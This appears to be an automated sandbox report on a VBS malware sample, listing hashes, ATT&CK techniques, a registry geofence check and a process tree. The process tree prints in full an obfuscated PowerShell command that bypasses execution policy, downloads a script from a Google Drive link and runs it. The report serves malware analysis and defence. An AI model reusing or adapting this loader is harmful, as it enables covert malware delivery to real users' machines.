1ee99a2d1ec0eb38fc56473f1edd0ee266538bdf23e1e515c876c5444626d138

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
30/12/2023, 11:44

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General

Target

176c5002a81808675e9bc0fd08d7c3b1.vbs
Size

720B
MD5

176c5002a81808675e9bc0fd08d7c3b1
SHA1

69d3ad714b0d71da5aad430ce3a25b8e590a1785
SHA256

1ee99a2d1ec0eb38fc56473f1edd0ee266538bdf23e1e515c876c5444626d138
SHA512

6981301a3732b6bcaa3d55b425933f6dc582ce02770b750583fe21ad43b211c3bf51f81588bb7b44d0961d86fea8c22027a82189ab0893acda9a679d5d2c3396

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	2756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2756	powershell.exe
2756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4920 wrote to memory of 2756	4920	WScript.exe	87
PID 4920 wrote to memory of 2756	4920	WScript.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\176c5002a81808675e9bc0fd08d7c3b1.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec Bypass gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S 'https://drive.google.com/uc?export=download&id=1nzTe5O_G-ta5x9i2-rOKn-tvWviha3l8'; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ll0xrjeb.wnl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2756-0-0x00000261BE880000-0x00000261BE8A2000-memory.dmp

Filesize
136KB

Download
memory/2756-10-0x00007FF819610000-0x00007FF81A0D1000-memory.dmp

Filesize
10.8MB

Download
memory/2756-11-0x00000261BDE90000-0x00000261BDEA0000-memory.dmp

Filesize
64KB

Download
memory/2756-12-0x00000261BDE90000-0x00000261BDEA0000-memory.dmp

Filesize
64KB

Download
memory/2756-13-0x00000261BDE90000-0x00000261BDEA0000-memory.dmp

Filesize
64KB

Download
memory/2756-16-0x00007FF819610000-0x00007FF81A0D1000-memory.dmp

Filesize
10.8MB

Download